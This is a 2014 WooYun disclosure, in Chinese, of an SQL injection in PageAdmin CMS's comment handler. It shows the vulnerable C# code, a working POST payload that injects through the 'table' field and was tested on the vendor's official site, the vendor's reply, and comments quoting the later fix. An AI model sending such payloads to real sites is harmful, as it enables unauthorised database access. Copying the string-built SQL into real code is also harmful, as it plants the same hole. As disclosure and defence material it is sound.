漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:pageadmin SQL注入漏洞
提交时间:2014-04-16 17:17
修复时间:2014-07-15 17:17
公开时间:2014-07-15 17:17
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签:
无
漏洞详情 披露状态:
2014-04-16: 细节已通知厂商并且等待厂商处理中 2014-04-21: 厂商已经确认,细节仅向厂商公开 2014-04-24: 细节向第三方安全合作伙伴开放 2014-06-15: 细节向核心白帽子及相关领域专家公开 2014-06-25: 细节向普通白帽子公开 2014-07-05: 细节向实习白帽子公开 2014-07-15: 细节向公众公开
简要描述: pageadmin SQL注入漏洞
详细说明: 大量政府,学校,企业等网站使用该程序
/e/aspx/get_comment.aspx protected void Page_Load(Object src,EventArgs e) { string sql; OleDbCommand comm; Conn theconn=new Conn(); if(Request.Form["post"]=="add") { IsMember=Request.Form["ismember"]; if(IsMember=="0") { Md5 JM=new Md5(); if(Session["YZM"]==null) { Response.Write("yzm error"); Response.End(); } else if(Request.Form["code"]!=Session["YZM"].ToString()) { Response.Write("yzm error"); Response.End(); } } Table=Request.Form["table"];//获取参数 DetailId=Request.Form["id"]; string UserName=Request.Form["username"]; string Password=Request.Form["code"]; string Quote=Request.Form["quote"]; string Content=Request.Form["content"]; string Checked=Request.Form["checked"]; Checked=Checked=="0"?"1":"0"; string SiteId=Request.Form["siteid"]; LoginUserName=""; IP=GetClientIP(); if(Content=="" || !IsNum(Checked) || !IsNum(DetailId) || !IsNum(SiteId) || !IsNum(IsMember)) { Response.Write("input error"); Response.End(); } else { Check_Post(); conn=new OleDbConnection(theconn.Constr()); conn.Open(); //处理内容 Get_Set(int.Parse(SiteId)); Check_TimeLimit(); //检查时间间隔; if(Comment_MaxLength!=0 && Content.Length>Comment_MaxLength)//检查最大字符 { conn.Close(); Response.Write("maxleng_limit,"+Comment_MaxLength); Response.End(); } Check_Forbid(Content); //检查禁止关键字 Content=Replace_String(Content); //替换 UserName=Replace_String(UserName); //替换 //处理内容 if(IsMember=="1")//检查用户,,只有是1才检测,这就跳过检测了 { if(Request.Cookies["Member"]!=null) { Member_Valicate MCheck=new Member_Valicate(); MCheck.Member_Check(); UserName=MCheck._UserName; } else { Check_Member(UserName,Password); //检查用户名和密码 } } sql="insert into pa_comments(site_id,thetable,[detail_id],[username],[content],[quote],[checked],[ip],thedate,[ismember]) values("+int.Parse(SiteId)+",'"+Sql_Format(Table)+"',"+int.Parse(DetailId)+",'"+Sql_Format(UserName)+"','"+Sql_Format(Content)+"','"+Sql_Format(Quote)+"',"+int.Parse(Checked)+",'"+IP+"','"+DateTime.Now+"',"+int.Parse(IsMember)+")"; comm=new OleDbCommand(sql,conn); comm.ExecuteNonQuery(); sql="update "+Table+" set comments=comments+1 where id="+DetailId;//table存在注入 comm=new OleDbCommand(sql,conn); comm.ExecuteNonQuery(); Response.Write(Checked); conn.Close(); Response.End(); }
漏洞证明: 测试方法 我就用官网测试了 http://www.pageadmin.net/e/aspx/get_comments.aspx POST 提交post=add&table=pa_comments set ip=1 where 1=1 and 1=user--&id=1&siteid=1&ismember=12&checked=1&content=1即可
修复方案: 版权声明:转载请注明来源 Matt @乌云
漏洞回应 厂商回应: 危害等级:中
漏洞Rank:8
确认时间:2014-04-21 09:04
厂商回复: 参见所述评论情况,至17日,验证测试发现官网有报错信息不能工具注入,其它找到的实例手工注入和工具都没有成功。请白帽子进一步协助提供相关信息
最新状态: 暂无
漏洞评价:
评论
至17时,验证测试发现官网有报错信息不能工具注入,其它找到的实例手工注入和工具都没有成功。请白帽子进一步协助提供相关信息。@Matt
2014-04-24 09:32 |
shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)
@cncert国家互联网应急中心 代码审计发现有order by 没过滤,只对sqlserver有影响
2014-07-15 20:14 |
zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM:http://bbs.jyhack.com/)
2014-07-16 23:59 |
小秦 ( 路人 | Rank:9 漏洞数:4 )
厂商在 2014年4月25日, 15:37:16 的时候,把代码改了,对Table加上了 验证. if(Content=="" || !IsNum(Checked) || !IsNum(DetailId) || !IsNum(SiteId) || !IsNum(IsMember) || !IsStr(Table)) { Response.Write("input error"); Response.End(); }